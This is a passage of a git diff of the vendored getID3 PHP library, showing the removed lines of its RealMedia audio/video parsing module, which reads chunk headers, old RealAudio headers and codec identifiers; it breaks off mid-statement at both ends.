$NSVframerateLookup[$framerateindex] : false); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio-video.real.php b/vendor/james-heinrich/getid3/getid3/module.audio-video.real.php index 36383034c0..990379e938 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio-video.real.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio-video.real.php @@ -1,545 +1,545 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio-video.real.php // -// module for analyzing Real Audio/Video files // -// dependencies: module.audio-video.riff.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); - -class getid3_real extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'real'; - $info['bitrate'] = 0; - $info['playtime_seconds'] = 0; - - $this->fseek($info['avdataoffset']); - $ChunkCounter = 0; - while ($this->ftell() < $info['avdataend']) { - $ChunkData = $this->fread(8); - $ChunkName = substr($ChunkData, 0, 4); - $ChunkSize = getid3_lib::BigEndian2Int(substr($ChunkData, 4, 4)); - - if ($ChunkName == '.ra'."\xFD") { - $ChunkData .= $this->fread($ChunkSize - 8); - if ($this->ParseOldRAheader(substr($ChunkData, 0, 128), $info['real']['old_ra_header'])) { - $info['audio']['dataformat'] = 'real'; - $info['audio']['lossless'] = false; - $info['audio']['sample_rate'] = $info['real']['old_ra_header']['sample_rate']; - $info['audio']['bits_per_sample'] = $info['real']['old_ra_header']['bits_per_sample']; - $info['audio']['channels'] = $info['real']['old_ra_header']['channels']; - - $info['playtime_seconds'] = 60 * ($info['real']['old_ra_header']['audio_bytes'] / $info['real']['old_ra_header']['bytes_per_minute']); - $info['audio']['bitrate'] = 8 * ($info['real']['old_ra_header']['audio_bytes'] / $info['playtime_seconds']); - $info['audio']['codec'] = $this->RealAudioCodecFourCClookup($info['real']['old_ra_header']['fourcc'], $info['audio']['bitrate']); - - foreach ($info['real']['old_ra_header']['comments'] as $key => $valuearray) { - if (strlen(trim($valuearray[0])) > 0) { - $info['real']['comments'][$key][] = trim($valuearray[0]); - } - } - return true; - } - $this->error('There was a problem parsing this RealAudio file. Please submit it for analysis to info@getid3.org'); - unset($info['bitrate']); - unset($info['playtime_seconds']); - return false; - } - - // shortcut - $info['real']['chunks'][$ChunkCounter] = array(); - $thisfile_real_chunks_currentchunk = &$info['real']['chunks'][$ChunkCounter]; - - $thisfile_real_chunks_currentchunk['name'] = $ChunkName; - $thisfile_real_chunks_currentchunk['offset'] = $this->ftell() - 8; - $thisfile_real_chunks_currentchunk['length'] = $ChunkSize; - if (($thisfile_real_chunks_currentchunk['offset'] + $thisfile_real_chunks_currentchunk['length']) > $info['avdataend']) { - $this->warning('Chunk "'.$thisfile_real_chunks_currentchunk['name'].'" at offset '.$thisfile_real_chunks_currentchunk['offset'].' claims to be '.$thisfile_real_chunks_currentchunk['length'].' bytes long, which is beyond end of file'); - return false; - } - - if ($ChunkSize > ($this->getid3->fread_buffer_size() + 8)) { - - $ChunkData .= $this->fread($this->getid3->fread_buffer_size() - 8); - $this->fseek($thisfile_real_chunks_currentchunk['offset'] + $ChunkSize); - - } elseif(($ChunkSize - 8) > 0) { - - $ChunkData .= $this->fread($ChunkSize - 8); - - } - $offset = 8; - - switch ($ChunkName) { - - case '.RMF': // RealMedia File Header - $thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - switch ($thisfile_real_chunks_currentchunk['object_version']) { - - case 0: - $thisfile_real_chunks_currentchunk['file_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['headers_count'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - break; - - default: - //$this->warning('Expected .RMF-object_version to be "0", actual value is "'.$thisfile_real_chunks_currentchunk['object_version'].'" (should not be a problem)'); - break; - - } - break; - - - case 'PROP': // Properties Header - $thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - if ($thisfile_real_chunks_currentchunk['object_version'] == 0) { - $thisfile_real_chunks_currentchunk['max_bit_rate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['avg_bit_rate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['max_packet_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['avg_packet_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['num_packets'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['duration'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['preroll'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['index_offset'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['data_offset'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['num_streams'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - $thisfile_real_chunks_currentchunk['flags_raw'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - $info['playtime_seconds'] = $thisfile_real_chunks_currentchunk['duration'] / 1000; - if ($thisfile_real_chunks_currentchunk['duration'] > 0) { - $info['bitrate'] += $thisfile_real_chunks_currentchunk['avg_bit_rate']; - } - $thisfile_real_chunks_currentchunk['flags']['save_enabled'] = (bool) ($thisfile_real_chunks_currentchunk['flags_raw'] & 0x0001); - $thisfile_real_chunks_currentchunk['flags']['perfect_play'] = (bool) ($thisfile_real_chunks_currentchunk['flags_raw'] & 0x0002); - $thisfile_real_chunks_currentchunk['flags']['live_broadcast'] = (bool) ($thisfile_real_chunks_currentchunk['flags_raw'] & 0x0004); - } - break; - - case 'MDPR': // Media Properties Header - $thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - if ($thisfile_real_chunks_currentchunk['object_version'] == 0) { - $thisfile_real_chunks_currentchunk['stream_number'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - $thisfile_real_chunks_currentchunk['max_bit_rate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['avg_bit_rate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['max_packet_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['avg_packet_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['start_time'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['preroll'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['duration'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['stream_name_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 1)); - $offset += 1; - $thisfile_real_chunks_currentchunk['stream_name'] = substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['stream_name_size']); - $offset += $thisfile_real_chunks_currentchunk['stream_name_size']; - $thisfile_real_chunks_currentchunk['mime_type_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 1)); - $offset += 1; - $thisfile_real_chunks_currentchunk['mime_type'] = substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['mime_type_size']); - $offset += $thisfile_real_chunks_currentchunk['mime_type_size']; - $thisfile_real_chunks_currentchunk['type_specific_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['type_specific_data'] = substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['type_specific_len']); - $offset += $thisfile_real_chunks_currentchunk['type_specific_len']; - - // shortcut - $thisfile_real_chunks_currentchunk_typespecificdata = &$thisfile_real_chunks_currentchunk['type_specific_data']; - - switch ($thisfile_real_chunks_currentchunk['mime_type']) { - case 'video/x-pn-realvideo': - case 'video/x-pn-multirate-realvideo': - // http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html - - // shortcut - $thisfile_real_chunks_currentchunk['video_info'] = array(); - $thisfile_real_chunks_currentchunk_videoinfo = &$thisfile_real_chunks_currentchunk['video_info']; - - $thisfile_real_chunks_currentchunk_videoinfo['dwSize'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 0, 4)); - $thisfile_real_chunks_currentchunk_videoinfo['fourcc1'] = substr($thisfile_real_chunks_currentchunk_typespecificdata, 4, 4); - $thisfile_real_chunks_currentchunk_videoinfo['fourcc2'] = substr($thisfile_real_chunks_currentchunk_typespecificdata, 8, 4); - $thisfile_real_chunks_currentchunk_videoinfo['width'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 12, 2)); - $thisfile_real_chunks_currentchunk_videoinfo['height'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 14, 2)); - $thisfile_real_chunks_currentchunk_videoinfo['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 16, 2)); - //$thisfile_real_chunks_currentchunk_videoinfo['unknown1'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 18, 2)); - //$thisfile_real_chunks_currentchunk_videoinfo['unknown2'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 20, 2)); - $thisfile_real_chunks_currentchunk_videoinfo['frames_per_second'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 22, 2)); - //$thisfile_real_chunks_currentchunk_videoinfo['unknown3'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 24, 2)); - //$thisfile_real_chunks_currentchunk_videoinfo['unknown4'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 26, 2)); - //$thisfile_real_chunks_currentchunk_videoinfo['unknown5'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 28, 2)); - //$thisfile_real_chunks_currentchunk_videoinfo['unknown6'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 30, 2)); - //$thisfile_real_chunks_currentchunk_videoinfo['unknown7'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 32, 2)); - //$thisfile_real_chunks_currentchunk_videoinfo['unknown8'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 34, 2)); - //$thisfile_real_chunks_currentchunk_videoinfo['unknown9'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 36, 2)); - - $thisfile_real_chunks_currentchunk_videoinfo['codec'] = getid3_riff::fourccLookup($thisfile_real_chunks_currentchunk_videoinfo['fourcc2']); - - $info['video']['resolution_x'] = $thisfile_real_chunks_currentchunk_videoinfo['width']; - $info['video']['resolution_y'] = $thisfile_real_chunks_currentchunk_videoinfo['height']; - $info['video']['frame_rate'] = (float) $thisfile_real_chunks_currentchunk_videoinfo['frames_per_second']; - $info['video']['codec'] = $thisfile_real_chunks_currentchunk_videoinfo['codec']; - $info['video']['bits_per_sample'] = $thisfile_real_chunks_currentchunk_videoinfo['bits_per_sample']; - break; - - case 'audio/x-pn-realaudio': - case 'audio/x-pn-multirate-realaudio': - $this->ParseOldRAheader($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk['parsed_audio_data']); - - $info['audio']['sample_rate'] = $thisfile_real_chunks_currentchunk['parsed_audio_data']['sample_rate']; - $info['audio']['bits_per_sample'] = $thisfile_real_chunks_currentchunk['parsed_audio_data']['bits_per_sample']; - $info['audio']['channels'] = $thisfile_real_chunks_currentchunk['parsed_audio_data']['channels']; - if (!empty($info['audio']['dataformat'])) { - foreach ($info['audio'] as $key => $value) { - if ($key != 'streams') { - $info['audio']['streams'][$thisfile_real_chunks_currentchunk['stream_number']][$key] = $value; - } - } - } - break; - - case 'logical-fileinfo': - // shortcut - $thisfile_real_chunks_currentchunk['logical_fileinfo'] = array(); - $thisfile_real_chunks_currentchunk_logicalfileinfo = &$thisfile_real_chunks_currentchunk['logical_fileinfo']; - - $thisfile_real_chunks_currentchunk_logicalfileinfo_offset = 0; - $thisfile_real_chunks_currentchunk_logicalfileinfo['logical_fileinfo_length'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4)); - $thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4; - - //$thisfile_real_chunks_currentchunk_logicalfileinfo['unknown1'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4)); - $thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4; - - $thisfile_real_chunks_currentchunk_logicalfileinfo['num_tags'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4)); - $thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4; - - //$thisfile_real_chunks_currentchunk_logicalfileinfo['unknown2'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4)); - $thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4; - - //$thisfile_real_chunks_currentchunk_logicalfileinfo['d'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 1)); - - //$thisfile_real_chunks_currentchunk_logicalfileinfo['one_type'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4)); - //$thisfile_real_chunks_currentchunk_logicalfileinfo_thislength = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 4 + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 2)); - //$thisfile_real_chunks_currentchunk_logicalfileinfo['one'] = substr($thisfile_real_chunks_currentchunk_typespecificdata, 6 + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, $thisfile_real_chunks_currentchunk_logicalfileinfo_thislength); - //$thisfile_real_chunks_currentchunk_logicalfileinfo_offset += (6 + $thisfile_real_chunks_currentchunk_logicalfileinfo_thislength); - - break; - - } - - - if (empty($info['playtime_seconds'])) { - $info['playtime_seconds'] = max($info['playtime_seconds'], ($thisfile_real_chunks_currentchunk['duration'] + $thisfile_real_chunks_currentchunk['start_time']) / 1000); - } - if ($thisfile_real_chunks_currentchunk['duration'] > 0) { - switch ($thisfile_real_chunks_currentchunk['mime_type']) { - case 'audio/x-pn-realaudio': - case 'audio/x-pn-multirate-realaudio': - $info['audio']['bitrate'] = (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0) + $thisfile_real_chunks_currentchunk['avg_bit_rate']; - $info['audio']['codec'] = $this->RealAudioCodecFourCClookup($thisfile_real_chunks_currentchunk['parsed_audio_data']['fourcc'], $info['audio']['bitrate']); - $info['audio']['dataformat'] = 'real'; - $info['audio']['lossless'] = false; - break; - - case 'video/x-pn-realvideo': - case 'video/x-pn-multirate-realvideo': - $info['video']['bitrate'] = (isset($info['video']['bitrate']) ? $info['video']['bitrate'] : 0) + $thisfile_real_chunks_currentchunk['avg_bit_rate']; - $info['video']['bitrate_mode'] = 'cbr'; - $info['video']['dataformat'] = 'real'; - $info['video']['lossless'] = false; - $info['video']['pixel_aspect_ratio'] = (float) 1; - break; - - case 'audio/x-ralf-mpeg4-generic': - $info['audio']['bitrate'] = (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0) + $thisfile_real_chunks_currentchunk['avg_bit_rate']; - $info['audio']['codec'] = 'RealAudio Lossless'; - $info['audio']['dataformat'] = 'real'; - $info['audio']['lossless'] = true; - break; - } - $info['bitrate'] = (isset($info['video']['bitrate']) ? $info['video']['bitrate'] : 0) + (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0); - } - } - break; - - case 'CONT': // Content Description Header (text comments) - $thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - if ($thisfile_real_chunks_currentchunk['object_version'] == 0) { - $thisfile_real_chunks_currentchunk['title_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - $thisfile_real_chunks_currentchunk['title'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['title_len']); - $offset += $thisfile_real_chunks_currentchunk['title_len']; - - $thisfile_real_chunks_currentchunk['artist_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - $thisfile_real_chunks_currentchunk['artist'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['artist_len']); - $offset += $thisfile_real_chunks_currentchunk['artist_len']; - - $thisfile_real_chunks_currentchunk['copyright_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - $thisfile_real_chunks_currentchunk['copyright'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['copyright_len']); - $offset += $thisfile_real_chunks_currentchunk['copyright_len']; - - $thisfile_real_chunks_currentchunk['comment_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - $thisfile_real_chunks_currentchunk['comment'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['comment_len']); - $offset += $thisfile_real_chunks_currentchunk['comment_len']; - - - $commentkeystocopy = array('title'=>'title', 'artist'=>'artist', 'copyright'=>'copyright', 'comment'=>'comment'); - foreach ($commentkeystocopy as $key => $val) { - if ($thisfile_real_chunks_currentchunk[$key]) { - $info['real']['comments'][$val][] = trim($thisfile_real_chunks_currentchunk[$key]); - } - } - - } - break; - - - case 'DATA': // Data Chunk Header - // do nothing - break; - - case 'INDX': // Index Section Header - $thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - if ($thisfile_real_chunks_currentchunk['object_version'] == 0) { - $thisfile_real_chunks_currentchunk['num_indices'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - $thisfile_real_chunks_currentchunk['stream_number'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); - $offset += 2; - $thisfile_real_chunks_currentchunk['next_index_header'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); - $offset += 4; - - if ($thisfile_real_chunks_currentchunk['next_index_header'] == 0) { - // last index chunk found, ignore rest of file - break 2; - } else { - // non-last index chunk, seek to next index chunk (skipping actual index data) - $this->fseek($thisfile_real_chunks_currentchunk['next_index_header']); - } - } - break; - - default: - $this->warning('Unhandled RealMedia chunk "'.$ChunkName.'" at offset '.$thisfile_real_chunks_currentchunk['offset']); - break; - } - $ChunkCounter++; - } - - if (!empty($info['audio']['streams'])) { - $info['audio']['bitrate'] = 0; - foreach ($info['audio']['streams'] as $key => $valuearray) { - $info['audio']['bitrate'] += $valuearray['bitrate']; - } - } - - return true; - } - - /** - * @param string $OldRAheaderData - * @param array $ParsedArray - * - * @return bool - */ - public function ParseOldRAheader($OldRAheaderData, &$ParsedArray) { - // http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html - - $ParsedArray = array(); - $ParsedArray['magic'] = substr($OldRAheaderData, 0, 4); - if ($ParsedArray['magic'] != '.ra'."\xFD") { - return false; - } - $ParsedArray['version1'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 4, 2)); - - if ($ParsedArray['version1'] < 3) { - - return false; - - } elseif ($ParsedArray['version1'] == 3) { - - $ParsedArray['fourcc1'] = '.ra3'; - $ParsedArray['bits_per_sample'] = 16; // hard-coded for old versions? - $ParsedArray['sample_rate'] = 8000; // hard-coded for old versions? - - $ParsedArray['header_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 6, 2)); - $ParsedArray['channels'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 8, 2)); // always 1 (?) - //$ParsedArray['unknown1'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 10, 2)); - //$ParsedArray['unknown2'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 12, 2)); - //$ParsedArray['unknown3'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 14, 2)); - $ParsedArray['bytes_per_minute'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 16, 2)); - $ParsedArray['audio_bytes'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 18, 4)); - $ParsedArray['comments_raw'] = substr($OldRAheaderData, 22, $ParsedArray['header_size'] - 22 + 1); // not including null terminator - - $commentoffset = 0; - $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); - $ParsedArray['comments']['title'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); - $commentoffset += $commentlength; - - $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); - $ParsedArray['comments']['artist'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); - $commentoffset += $commentlength; - - $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); - $ParsedArray['comments']['copyright'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); - $commentoffset += $commentlength; - - $commentoffset++; // final null terminator (?) - $commentoffset++; // fourcc length (?) should be 4 - $ParsedArray['fourcc'] = substr($OldRAheaderData, 23 + $commentoffset, 4); - - } elseif ($ParsedArray['version1'] <= 5) { - - //$ParsedArray['unknown1'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 6, 2)); - $ParsedArray['fourcc1'] = substr($OldRAheaderData, 8, 4); - $ParsedArray['file_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 12, 4)); - $ParsedArray['version2'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 16, 2)); - $ParsedArray['header_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 18, 4)); - $ParsedArray['codec_flavor_id'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 22, 2)); - $ParsedArray['coded_frame_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 24, 4)); - $ParsedArray['audio_bytes'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 28, 4)); - $ParsedArray['bytes_per_minute'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 32, 4)); - //$ParsedArray['unknown5'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 36, 4)); - $ParsedArray['sub_packet_h'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 40, 2)); - $ParsedArray['frame_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 42, 2)); - $ParsedArray['sub_packet_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 44, 2)); - //$ParsedArray['unknown6'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 46, 2)); - - switch ($ParsedArray['version1']) { - - case 4: - $ParsedArray['sample_rate'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 48, 2)); - //$ParsedArray['unknown8'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 50, 2)); - $ParsedArray['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 52, 2)); - $ParsedArray['channels'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 54, 2)); - $ParsedArray['length_fourcc2'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 56, 1)); - $ParsedArray['fourcc2'] = substr($OldRAheaderData, 57, 4); - $ParsedArray['length_fourcc3'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 61, 1)); - $ParsedArray['fourcc3'] = substr($OldRAheaderData, 62, 4); - //$ParsedArray['unknown9'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 66, 1)); - //$ParsedArray['unknown10'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 67, 2)); - $ParsedArray['comments_raw'] = substr($OldRAheaderData, 69, $ParsedArray['header_size'] - 69 + 16); - - $commentoffset = 0; - $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); - $ParsedArray['comments']['title'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); - $commentoffset += $commentlength; - - $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); - $ParsedArray['comments']['artist'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); - $commentoffset += $commentlength; - - $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); - $ParsedArray['comments']['copyright'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); - $commentoffset += $commentlength; - break; - - case 5: - $ParsedArray['sample_rate'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 48, 4)); - $ParsedArray['sample_rate2'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 52, 4)); - $ParsedArray['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 56, 4)); - $ParsedArray['channels'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 60, 2)); - $ParsedArray['genr'] = substr($OldRAheaderData, 62, 4); - $ParsedArray['fourcc3'] = substr($OldRAheaderData, 66, 4); - $ParsedArray['comments'] = array(); - break; - } - $ParsedArray['fourcc'] = $ParsedArray['fourcc3']; - - } - /** @var string[]|false[] $value */ - foreach ($ParsedArray['comments'] as $key => $value) { - if ($value[0] === false) { - $ParsedArray['comments'][$key][0] = ''; - } - } - - return true; - } - - /** - * @param string $fourcc - * @param int $bitrate - * - * @return string - */ - public function RealAudioCodecFourCClookup($fourcc, $bitrate) { - static $RealAudioCodecFourCClookup = array(); - if (empty($RealAudioCodecFourCClookup)) { - // http://www.its.msstate.edu/net/real/reports/config/tags.stats - // http://www.freelists.org/archives/matroska-devel/06-2003/fullthread18.html - - $RealAudioCodecFourCClookup['14_4'][8000] = 'RealAudio v2 (14.4kbps)'; - $RealAudioCodecFourCClookup['14.4'][8000] = 'RealAudio v2 (14.4kbps)'; - $RealAudioCodecFourCClookup['lpcJ'][8000] = 'RealAudio v2 (14.4kbps)'; - $RealAudioCodecFourCClookup['28_8'][15200] = 'RealAudio v2 (28.8kbps)'; - $RealAudioCodecFourCClookup['28.8'][15200] = 'RealAudio v2 (28.8kbps)'; - $RealAudioCodecFourCClookup['sipr'][4933] = 'RealAudio v4 (5kbps Voice)'; - $RealAudioCodecFourCClookup['sipr'][6444] = 'RealAudio v4 (6.5kbps Voice)'; - $RealAudioCodecFourCClookup['sipr'][8444] = 'RealAudio v4 (8.5kbps Voice)'; - $RealAudioCodecFourCClookup['sipr'][16000] = 'RealAudio v4 (16kbps Wideband)'; - $RealAudioCodecFourCClookup['dnet'][8000] = 'RealAudio v3 (8kbps Music)'; - $RealAudioCodecFourCClookup['dnet'][16000] = 'RealAudio v3 (16kbps Music Low Response)'; - $RealAudioCodecFourCClookup['dnet'][15963] = 'RealAudio v3 (16kbps Music Mid/High Response)'; - $RealAudioCodecFourCClookup['dnet'][20000] = 'RealAudio v3 (20kbps Music Stereo)'; - $RealAudioCodecFourCClookup['dnet'][32000] = 'RealAudio v3 (32kbps Music Mono)'; - $RealAudioCodecFourCClookup['dnet'][31951] = 'RealAudio v3 (32kbps Music Stereo)'; - $RealAudioCodecFourCClookup['dnet'][39965] = 'RealAudio v3 (40kbps Music Mono)'; - $RealAudioCodecFourCClookup['dnet'][40000] = 'RealAudio v3 (40kbps Music Stereo)'; - $RealAudioCodecFourCClookup['dnet'][79947] = 'RealAudio v3 (80kbps Music Mono)'; - $RealAudioCodecFourCClookup['dnet'][80000] = 'RealAudio v3 (80kbps Music Stereo)'; - - $RealAudioCodecFourCClookup['dnet'][0] = 'RealAudio v3'; - $RealAudioCodecFourCClookup['sipr'][0] = 'RealAudio v4'; - $RealAudioCodecFourCClookup['cook'][0] = 'RealAudio G2'; - $RealAudioCodecFourCClookup['atrc'][0] = 'RealAudio 8'; - } - $roundbitrate = intval(round($bitrate)); - if 